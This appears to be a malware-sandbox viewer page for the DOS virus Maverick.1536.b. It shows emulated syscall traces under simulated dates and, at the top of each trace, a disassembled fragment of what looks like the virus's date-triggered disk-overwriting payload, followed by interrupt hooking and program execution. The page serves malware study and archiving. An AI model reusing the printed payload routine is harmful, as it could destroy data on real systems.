Sample viewer

vx.netlux.org/Virus.DOS.Maverick.1536.b

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:11:06.564616251Z 42 PC: 135ee | Get date 0x135ee: shl dh, 1
0x135f0: cmp dh, dl
0x135f2: jne 0x13613
0x135f4: mov ah, 0x13
0x135f6: int 0x2f
0x135f8: mov ax, 0x2513
0x135fb: int 0x21
0x135fd: mov cx, 1
0x13600: mov dx, 0x680
0x13603: mov ax, 0x310
0x13606: call 0x23586
0x13609: dec dh
0x1360b: jns 0x13603
0x1360d: mov dh, 6
0x1360f: inc ch
0x13611: jmp 0x13603
0x13613: in al, 0x21
0x13615: push ax
0x13616: mov al, 0xff
0x13618: out 0x21, al
2018-12-17T23:11:06.588869545Z 240 PC: 1362c | UNKNOWN!
2018-12-17T23:11:08.624887971Z 72 PC: 8f1b9 | Allocate memory
2018-12-17T23:11:08.626756906Z 72 PC: 8f1bd | Allocate memory
2018-12-17T23:11:08.630269936Z 99 PC: 90858 | Get DBCS lead byte table pointer
2018-12-17T23:11:08.633315303Z 61 PC: 91f88 | Open file (Filename = 'C:\WINDOWS\HIMEM.SYS')
2018-12-17T23:11:08.643873454Z 66 PC: 91f95 | Move file pointer
2018-12-17T23:11:08.645722996Z 62 PC: 91fc1 | Close file
2018-12-17T23:11:08.648259187Z 75 PC: 91fe0 | Execute program
2018-12-17T23:11:08.659326685Z 98 PC: 916f1 | Get current PSP
2018-12-17T23:11:08.660529576Z 9 PC: c605 | Display string (String= '6��r�&;] u')
2018-12-17T23:11:08.669874563Z 48 PC: c609 | Get DOS version
2018-12-17T23:11:08.672813737Z 9 PC: c382 | Display string (String= ' Installed A20 handler number ')
2018-12-17T23:11:08.676587766Z 2 PC: c38c | Character output (Char = '32')
2018-12-17T23:11:08.67898345Z 2 PC: c3a7 | Character output (Char = '2e')
2018-12-17T23:11:08.682173573Z 9 PC: c6d9 | Display string (String= '�����VH�VD���V@��������������_���Ku��t1��������D�����t �� ��������a1��Z�����W���� ������5���|�����(���������Nj�(��������p�^')
2018-12-17T23:11:08.687868872Z 9 PC: c6e0 | Display string (String= '�5���|�����(���������Nj�(��������p�^')
2018-12-17T23:11:08.699874278Z 61 PC: 91f88 | Open file (Filename = 'C:\WINDOWS\SMARTDRV.EXE')
2018-12-17T23:11:08.709816827Z 66 PC: 91f95 | Move file pointer
2018-12-17T23:11:08.711091072Z 62 PC: 91fc1 | Close file
2018-12-17T23:11:08.713454167Z 75 PC: 91fe0 | Execute program
2018-12-17T23:11:08.733304951Z 98 PC: 916f1 | Get current PSP
2018-12-17T23:11:08.736756692Z 82 PC: 13d46 | Get DOS internal pointers (SYSVARS)
2018-12-17T23:11:08.738567889Z 53 PC: 13ac3 | Get interrupt vector (Interrupt = '19' AKA 'Delete file')
2018-12-17T23:11:08.7396907Z 37 PC: 13ad6 | Set interrupt vector (Interrupt = '19' AKA 'Delete file')
2018-12-17T23:11:08.74089466Z 53 PC: 13ae0 | Get interrupt vector (Interrupt = '47' AKA 'Get disk transfer address')
2018-12-17T23:11:08.742554604Z 37 PC: 13af3 | Set interrupt vector (Interrupt = '47' AKA 'Get disk transfer address')
2018-12-17T23:11:08.743644961Z 9 PC: 13a0d | Display string (Could not find end pointer)
2018-12-17T23:11:08.754499864Z 62 PC: 8f8eb | Close file
2018-12-17T23:11:08.759211617Z 62 PC: 8f8f2 | Close file
2018-12-17T23:11:08.760921737Z 62 PC: 8f8f2 | Close file
2018-12-17T23:11:08.762295766Z 62 PC: 8f8f2 | Close file
2018-12-17T23:11:08.764372617Z 62 PC: 8f8f2 | Close file
2018-12-17T23:11:08.765825242Z 62 PC: 8f8f2 | Close file
2018-12-17T23:11:08.767213189Z 62 PC: 8f8f2 | Close file
2018-12-17T23:11:08.769426611Z 62 PC: 8f8f2 | Close file
2018-12-17T23:11:08.770887186Z 62 PC: 8f8f2 | Close file
2018-12-17T23:11:08.772263194Z 62 PC: 8f8f2 | Close file
2018-12-17T23:11:08.773845779Z 62 PC: 8f8f2 | Close file
2018-12-17T23:11:08.776266021Z 62 PC: 8f8f2 | Close file
2018-12-17T23:11:08.777751519Z 62 PC: 8f8f2 | Close file
2018-12-17T23:11:08.779560646Z 62 PC: 8f8f2 | Close file
2018-12-17T23:11:08.782275462Z 62 PC: 8f8f2 | Close file
2018-12-17T23:11:08.784136115Z 62 PC: 8f8f2 | Close file
2018-12-17T23:11:08.785833331Z 62 PC: 8f8f2 | Close file
2018-12-17T23:11:08.788392236Z 62 PC: 8f8f2 | Close file
2018-12-17T23:11:08.790229774Z 62 PC: 8f8f2 | Close file
2018-12-17T23:11:08.791863837Z 62 PC: 8f8f2 | Close file
2018-12-17T23:11:08.800649637Z 62 PC: 8f8f2 | Close file
2018-12-17T23:11:08.802382128Z 62 PC: 8f8f2 | Close file
2018-12-17T23:11:08.804061146Z 62 PC: 8f8f2 | Close file
2018-12-17T23:11:08.80736635Z 62 PC: 8f8f2 | Close file
2018-12-17T23:11:08.809246578Z 62 PC: 8f8f2 | Close file
2018-12-17T23:11:08.810882051Z 62 PC: 8f8f2 | Close file
2018-12-17T23:11:08.813121432Z 62 PC: 8f8f2 | Close file
2018-12-17T23:11:08.814738305Z 62 PC: 8f8f2 | Close file
2018-12-17T23:11:08.816379894Z 62 PC: 8f8f2 | Close file
2018-12-17T23:11:08.819975617Z 62 PC: 8f8f2 | Close file
2018-12-17T23:11:08.821407843Z 62 PC: 8f8f2 | Close file
2018-12-17T23:11:08.822754001Z 61 PC: 8f8ff | Open file (Filename = '')
2018-12-17T23:11:08.828272127Z 62 PC: 8f90e | Close file
2018-12-17T23:11:08.83003916Z 69 PC: 8f915 | Duplicate handle
2018-12-17T23:11:08.831535575Z 69 PC: 8f919 | Duplicate handle
2018-12-17T23:11:08.8336987Z 61 PC: 9387b | Open file (Filename = '')
2018-12-17T23:11:08.838446145Z 68 PC: 9386b | I/O control for devices (Set for = '')
2018-12-17T23:11:08.839999109Z 61 PC: 9387b | Open file (Filename = '')
2018-12-17T23:11:08.845250283Z 68 PC: 9386b | I/O control for devices (Set for = '')
2018-12-17T23:11:08.847121122Z 74 PC: 8f9c4 | Reallocate memory
2018-12-17T23:11:08.849411188Z 72 PC: 8f9e0 | Allocate memory
2018-12-17T23:11:08.853294967Z 72 PC: 8f9e4 | Allocate memory
2018-12-17T23:11:08.854804366Z 74 PC: 8f9fb | Reallocate memory
2018-12-17T23:11:08.856113876Z 72 PC: 8fa02 | Allocate memory
2018-12-17T23:11:08.858340545Z 72 PC: 8fa06 | Allocate memory
2018-12-17T23:11:08.860012627Z 73 PC: 8fa11 | Release memory
2018-12-17T23:11:08.861681059Z 73 PC: 8efea | Release memory
2018-12-17T23:11:08.863471849Z 74 PC: 8f003 | Reallocate memory
2018-12-17T23:11:08.865417198Z 72 PC: 8f054 | Allocate memory
2018-12-17T23:11:08.867312523Z 72 PC: 8f058 | Allocate memory
2018-12-17T23:11:08.869333642Z 73 PC: 8f060 | Release memory
2018-12-17T23:11:08.870854514Z 61 PC: 8f080 | Open file (Filename = 'r,�S�������[�
2018-12-17T23:11:08.879576971Z 63 PC: 8f095 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:11:08.885601254Z 66 PC: 8f0ad | Move file pointer
2018-12-17T23:11:08.887102283Z 62 PC: 8f0d1 | Close file
2018-12-17T23:11:08.888829544Z 75 PC: 8f0f2 | Execute program
2018-12-17T23:11:08.908844577Z 80 PC: 12be9 | Set current PSP
2018-12-17T23:11:08.910226502Z 48 PC: 12bee | Get DOS version
2018-12-17T23:11:08.911958825Z 99 PC: 193d0 | Get DBCS lead byte table pointer
2018-12-17T23:11:08.914567842Z 101 PC: 12c74 | Get extended country info
2018-12-17T23:11:08.916562671Z 99 PC: 12c7a | Get DBCS lead byte table pointer
2018-12-17T23:11:08.918118144Z 74 PC: 12cdc | Reallocate memory
2018-12-17T23:11:08.919890034Z 72 PC: 1355d | Allocate memory
2018-12-17T23:11:08.922800863Z 25 PC: 13596 | Get default drive
2018-12-17T23:11:08.924926269Z 71 PC: 135ad | Get current directory
2018-12-17T23:11:08.927585037Z 59 PC: 135ba | Change current directory
2018-12-17T23:11:08.934026019Z 59 PC: 135c8 | Change current directory
2018-12-17T23:11:08.93993799Z 59 PC: 135d3 | Change current directory
2018-12-17T23:11:08.943719765Z 25 PC: 12d13 | Get default drive
2018-12-17T23:11:08.946159121Z 37 PC: 127d3 | Set interrupt vector (Interrupt = '34' AKA 'Random write')
2018-12-17T23:11:08.947506301Z 37 PC: 127da | Set interrupt vector (Interrupt = '35' AKA 'Get file size in records')
2018-12-17T23:11:08.948911997Z 37 PC: 127e1 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T23:11:08.9521402Z 80 PC: 1301d | Set current PSP
2018-12-17T23:11:08.953263753Z 37 PC: 13041 | Set interrupt vector (Interrupt = '46' AKA 'Set verify flag')
2018-12-17T23:11:08.954760503Z 53 PC: 13362 | Get interrupt vector (Interrupt = '47' AKA 'Get disk transfer address')
2018-12-17T23:11:08.957295169Z 37 PC: 13383 | Set interrupt vector (Interrupt = '47' AKA 'Get disk transfer address')
2018-12-17T23:11:08.958532108Z 51 PC: 13417 | Get or set Ctrl-Break
2018-12-17T23:11:08.960315749Z 72 PC: 130ec | Allocate memory
2018-12-17T23:11:08.962825261Z 61 PC: 131b2 | Open file (Filename = '')
2018-12-17T23:11:08.969024017Z 62 PC: 131ba | Close file
2018-12-17T23:11:08.971311309Z 51 PC: 1344c | Get or set Ctrl-Break
2018-12-17T23:11:08.973608286Z 74 PC: 1197c | Reallocate memory
2018-12-17T23:11:08.975152573Z 72 PC: 11991 | Allocate memory
2018-12-17T23:11:08.977529649Z 73 PC: 119b2 | Release memory
2018-12-17T23:11:08.979432486Z 72 PC: 119bd | Allocate memory
2018-12-17T23:11:08.981042807Z 73 PC: 119df | Release memory
2018-12-17T23:11:08.982853266Z 72 PC: 119f5 | Allocate memory
2018-12-17T23:11:08.985422865Z 72 PC: 119fd | Allocate memory

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":17081,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:54:44.571595117Z 42 PC: 135ee | Get date 0x135ee: shl dh, 1
0x135f0: cmp dh, dl
0x135f2: jne 0x13613
0x135f4: mov ah, 0x13
0x135f6: int 0x2f
0x135f8: mov ax, 0x2513
0x135fb: int 0x21
0x135fd: mov cx, 1
0x13600: mov dx, 0x680
0x13603: mov ax, 0x310
0x13606: call 0x23586
0x13609: dec dh
0x1360b: jns 0x13603
0x1360d: mov dh, 6
0x1360f: inc ch
0x13611: jmp 0x13603
0x13613: in al, 0x21
0x13615: push ax
0x13616: mov al, 0xff
0x13618: out 0x21, al
2018-12-25T12:54:44.616555186Z 240 PC: 1362c | UNKNOWN!
2018-12-25T12:54:46.653244973Z 72 PC: 8f1b9 | Allocate memory
2018-12-25T12:54:46.655101101Z 72 PC: 8f1bd | Allocate memory
2018-12-25T12:54:46.658199747Z 99 PC: 90858 | Get DBCS lead byte table pointer
2018-12-25T12:54:46.661779505Z 61 PC: 91f88 | Open file (Filename = 'C:\WINDOWS\HIMEM.SYS')
2018-12-25T12:54:46.674102745Z 66 PC: 91f95 | Move file pointer
2018-12-25T12:54:46.67646207Z 62 PC: 91fc1 | Close file
2018-12-25T12:54:46.679751244Z 75 PC: 91fe0 | Execute program
2018-12-25T12:54:46.69794563Z 98 PC: 916f1 | Get current PSP
2018-12-25T12:54:46.699396699Z 9 PC: c605 | Display string (String= '6��r�&;] u')
2018-12-25T12:54:46.711611205Z 48 PC: c609 | Get DOS version
2018-12-25T12:54:46.717295322Z 9 PC: c382 | Display string (String= ' Installed A20 handler number ')
2018-12-25T12:54:46.722157117Z 2 PC: c38c | Character output (Char = '32')
2018-12-25T12:54:46.725317428Z 2 PC: c3a7 | Character output (Char = '2e')
2018-12-25T12:54:46.729877229Z 9 PC: c6d9 | Display string (String= '�����VH�VD���V@��������������_���Ku��t1��������D�����t �� ��������a1��Z�����W���� ������5���|�����(���������Nj�(��������p�^')
2018-12-25T12:54:46.736278332Z 9 PC: c6e0 | Display string (String= '�5���|�����(���������Nj�(��������p�^')
2018-12-25T12:54:46.747148708Z 61 PC: 91f88 | Open file (See above)
2018-12-25T12:54:46.758694681Z 66 PC: 91f95 | Move file pointer (See above)
2018-12-25T12:54:46.760322223Z 62 PC: 91fc1 | Close file (See above)
2018-12-25T12:54:46.763356753Z 75 PC: 91fe0 | Execute program (See above)
2018-12-25T12:54:46.787409199Z 98 PC: 916f1 | Get current PSP (See above)
2018-12-25T12:54:46.792231004Z 82 PC: 13d46 | Get DOS internal pointers (SYSVARS)
2018-12-25T12:54:46.794569063Z 53 PC: 13ac3 | Get interrupt vector (Interrupt = '19' AKA 'Delete file')
2018-12-25T12:54:46.796238659Z 37 PC: 13ad6 | Set interrupt vector (Interrupt = '19' AKA 'Delete file')
2018-12-25T12:54:46.797496499Z 53 PC: 13ae0 | Get interrupt vector (Interrupt = '47' AKA 'Get disk transfer address')
2018-12-25T12:54:46.799266584Z 37 PC: 13af3 | Set interrupt vector (Interrupt = '47' AKA 'Get disk transfer address')
2018-12-25T12:54:46.801523497Z 9 PC: 13a0d | Display string (Could not find end pointer)
2018-12-25T12:54:46.816008789Z 62 PC: 8f8eb | Close file
2018-12-25T12:54:46.818665946Z 62 PC: 8f8f2 | Close file
2018-12-25T12:54:46.821282848Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:54:46.823260054Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:54:46.825203071Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:54:46.827678018Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:54:46.829480802Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:54:46.84060223Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:54:46.84291315Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:54:46.84452333Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:54:46.846233071Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:54:46.848739685Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:54:46.851520718Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:54:46.853426111Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:54:46.856032192Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:54:46.857459497Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:54:46.866755453Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:54:46.868925771Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:54:46.870504983Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:54:46.872089964Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:54:46.873807851Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:54:46.875611055Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:54:46.877275041Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:54:46.87919153Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:54:46.881741734Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:54:46.883714338Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:54:46.885715489Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:54:46.888071372Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:54:46.89009375Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:54:46.892136356Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:54:46.895106267Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T12:54:46.897177084Z 61 PC: 8f8ff | Open file (Filename = '')
2018-12-25T12:54:46.902676329Z 62 PC: 8f90e | Close file
2018-12-25T12:54:46.905704251Z 69 PC: 8f915 | Duplicate handle
2018-12-25T12:54:46.90797147Z 69 PC: 8f919 | Duplicate handle
2018-12-25T12:54:46.910256224Z 61 PC: 9387b | Open file (Filename = '')
2018-12-25T12:54:46.916338639Z 68 PC: 9386b | I/O control for devices (Set for = '')
2018-12-25T12:54:46.917888429Z 61 PC: 9387b | Open file (See above)
2018-12-25T12:54:46.923002033Z 68 PC: 9386b | I/O control for devices (See above)
2018-12-25T12:54:46.924958814Z 74 PC: 8f9c4 | Reallocate memory
2018-12-25T12:54:46.926626864Z 72 PC: 8f9e0 | Allocate memory
2018-12-25T12:54:46.929370581Z 72 PC: 8f9e4 | Allocate memory
2018-12-25T12:54:46.931153613Z 74 PC: 8f9fb | Reallocate memory
2018-12-25T12:54:46.933130233Z 72 PC: 8fa02 | Allocate memory
2018-12-25T12:54:46.935106214Z 72 PC: 8fa06 | Allocate memory
2018-12-25T12:54:46.936709292Z 73 PC: 8fa11 | Release memory
2018-12-25T12:54:46.938825445Z 73 PC: 8efea | Release memory
2018-12-25T12:54:46.940589359Z 74 PC: 8f003 | Reallocate memory
2018-12-25T12:54:46.942618455Z 72 PC: 8f054 | Allocate memory
2018-12-25T12:54:46.945563545Z 72 PC: 8f058 | Allocate memory
2018-12-25T12:54:46.947563549Z 73 PC: 8f060 | Release memory
2018-12-25T12:54:46.94935088Z 61 PC: 8f080 | Open file (Filename = 'r,�S�������[�
2018-12-25T12:54:46.960207176Z 63 PC: 8f095 | Read file or device (Read 4 bytes on handle 5)
2018-12-25T12:54:46.966777738Z 66 PC: 8f0ad | Move file pointer
2018-12-25T12:54:46.968824848Z 62 PC: 8f0d1 | Close file
2018-12-25T12:54:46.971954817Z 75 PC: 8f0f2 | Execute program
2018-12-25T12:54:46.995374671Z 80 PC: 12be9 | Set current PSP
2018-12-25T12:54:46.997082332Z 48 PC: 12bee | Get DOS version
2018-12-25T12:54:46.998876452Z 99 PC: 193d0 | Get DBCS lead byte table pointer
2018-12-25T12:54:47.002296475Z 101 PC: 12c74 | Get extended country info
2018-12-25T12:54:47.003783276Z 99 PC: 12c7a | Get DBCS lead byte table pointer
2018-12-25T12:54:47.005231241Z 74 PC: 12cdc | Reallocate memory
2018-12-25T12:54:47.007372972Z 72 PC: 1355d | Allocate memory
2018-12-25T12:54:47.009154334Z 25 PC: 13596 | Get default drive
2018-12-25T12:54:47.010411121Z 71 PC: 135ad | Get current directory
2018-12-25T12:54:47.013697408Z 59 PC: 135ba | Change current directory
2018-12-25T12:54:47.019339205Z 59 PC: 135c8 | Change current directory
2018-12-25T12:54:47.026211531Z 59 PC: 135d3 | Change current directory
2018-12-25T12:54:47.031525492Z 25 PC: 12d13 | Get default drive
2018-12-25T12:54:47.032878951Z 37 PC: 127d3 | Set interrupt vector (Interrupt = '34' AKA 'Random write')
2018-12-25T12:54:47.034136145Z 37 PC: 127da | Set interrupt vector (Interrupt = '35' AKA 'Get file size in records')
2018-12-25T12:54:47.037402419Z 37 PC: 127e1 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T12:54:47.040171906Z 80 PC: 1301d | Set current PSP
2018-12-25T12:54:47.041817709Z 37 PC: 13041 | Set interrupt vector (Interrupt = '46' AKA 'Set verify flag')
2018-12-25T12:54:47.044505697Z 53 PC: 13362 | Get interrupt vector (Interrupt = '47' AKA 'Get disk transfer address')
2018-12-25T12:54:47.046138897Z 37 PC: 13383 | Set interrupt vector (Interrupt = '47' AKA 'Get disk transfer address')
2018-12-25T12:54:47.047748982Z 51 PC: 13417 | Get or set Ctrl-Break
2018-12-25T12:54:47.050358008Z 72 PC: 130ec | Allocate memory
2018-12-25T12:54:47.053102243Z 61 PC: 131b2 | Open file (Filename = '')
2018-12-25T12:54:47.060185968Z 62 PC: 131ba | Close file
2018-12-25T12:54:47.063058563Z 51 PC: 1344c | Get or set Ctrl-Break
2018-12-25T12:54:47.064471844Z 74 PC: 1197c | Reallocate memory
2018-12-25T12:54:47.065947279Z 72 PC: 11991 | Allocate memory
2018-12-25T12:54:47.067741528Z 73 PC: 119b2 | Release memory
2018-12-25T12:54:47.06988494Z 72 PC: 119bd | Allocate memory
2018-12-25T12:54:47.071573952Z 73 PC: 119df | Release memory
2018-12-25T12:54:47.072753253Z 72 PC: 119f5 | Allocate memory
2018-12-25T12:54:47.076302776Z 72 PC: 119fd | Allocate memory

{"DateBased":true,"Day":2,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":17081,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:54:44.649016553Z 42 PC: 135ee | Get date 0x135ee: shl dh, 1
0x135f0: cmp dh, dl
0x135f2: jne 0x13613
0x135f4: mov ah, 0x13
0x135f6: int 0x2f
0x135f8: mov ax, 0x2513
0x135fb: int 0x21
0x135fd: mov cx, 1
0x13600: mov dx, 0x680
0x13603: mov ax, 0x310
0x13606: call 0x23586
0x13609: dec dh
0x1360b: jns 0x13603
0x1360d: mov dh, 6
0x1360f: inc ch
0x13611: jmp 0x13603
0x13613: in al, 0x21
0x13615: push ax
0x13616: mov al, 0xff
0x13618: out 0x21, al
2018-12-25T12:54:44.651858093Z 37 PC: 135fd | Set interrupt vector (Interrupt = '19' AKA 'Delete file')
2018-12-25T12:54:44.653293264Z 81 PC: 122cc | Get current PSP
2018-12-25T12:54:44.654241697Z 2 PC: 1268d | Character output (Char = '0d')
2018-12-25T12:54:44.656660367Z 2 PC: 1268d | Character output (See above)
2018-12-25T12:54:44.661163591Z 89 PC: 12459 | Get extended error info
2018-12-25T12:54:44.66227701Z 2 PC: 1268d | Character output (See above)
2018-12-25T12:54:44.663701831Z 2 PC: 1268d | Character output (See above)
2018-12-25T12:54:44.665397133Z 2 PC: 1268d | Character output (See above)
2018-12-25T12:54:44.66687032Z 2 PC: 1268d | Character output (See above)
2018-12-25T12:54:44.668307556Z 2 PC: 1268d | Character output (See above)
2018-12-25T12:54:44.669971875Z 2 PC: 1268d | Character output (See above)
2018-12-25T12:54:44.671500132Z 2 PC: 1268d | Character output (See above)
2018-12-25T12:54:44.673023008Z 2 PC: 1268d | Character output (See above)
2018-12-25T12:54:44.675318253Z 2 PC: 1268d | Character output (See above)
2018-12-25T12:54:44.676829954Z 2 PC: 1268d | Character output (See above)
2018-12-25T12:54:44.678305354Z 2 PC: 1268d | Character output (See above)
2018-12-25T12:54:44.680469312Z 2 PC: 1268d | Character output (See above)
2018-12-25T12:54:44.68195429Z 2 PC: 1268d | Character output (See above)
2018-12-25T12:54:44.68327329Z 2 PC: 1268d | Character output (See above)
2018-12-25T12:54:44.696397223Z 2 PC: 1268d | Character output (See above)
2018-12-25T12:54:44.697999401Z 2 PC: 1268d | Character output (See above)
2018-12-25T12:54:44.699557591Z 2 PC: 126da | Character output (Char = '77')
2018-12-25T12:54:44.70126655Z 2 PC: 126da | Character output (See above)
2018-12-25T12:54:44.707288946Z 2 PC: 126da | Character output (See above)
2018-12-25T12:54:44.709278149Z 2 PC: 126da | Character output (See above)
2018-12-25T12:54:44.711398293Z 2 PC: 126da | Character output (See above)
2018-12-25T12:54:44.713310587Z 2 PC: 126da | Character output (See above)
2018-12-25T12:54:44.71474871Z 2 PC: 126da | Character output (See above)
2018-12-25T12:54:44.716202725Z 2 PC: 1268d | Character output (See above)
2018-12-25T12:54:44.717848569Z 2 PC: 1268d | Character output (See above)
2018-12-25T12:54:44.71998634Z 2 PC: 1268d | Character output (See above)
2018-12-25T12:54:44.7214843Z 2 PC: 1268d | Character output (See above)
2018-12-25T12:54:44.723353761Z 2 PC: 1268d | Character output (See above)
2018-12-25T12:54:44.724831703Z 2 PC: 1268d | Character output (See above)
2018-12-25T12:54:44.726459496Z 2 PC: 1268d | Character output (See above)
2018-12-25T12:54:44.728418175Z 2 PC: 126ce | Character output (Char = '51')
2018-12-25T12:54:44.729776013Z 2 PC: 1268d | Character output (See above)
2018-12-25T12:54:44.731036268Z 2 PC: 1268d | Character output (See above)
2018-12-25T12:54:44.734757643Z 2 PC: 1268d | Character output (See above)
2018-12-25T12:54:44.737662081Z 2 PC: 1268d | Character output (See above)
2018-12-25T12:54:44.739718341Z 2 PC: 1268d | Character output (See above)
2018-12-25T12:54:44.742332624Z 2 PC: 1268d | Character output (See above)
2018-12-25T12:54:44.744592411Z 2 PC: 1268d | Character output (See above)
2018-12-25T12:54:44.746939418Z 2 PC: 1268d | Character output (See above)
2018-12-25T12:54:44.749791295Z 12 PC: 12581 | Flush input buffer and input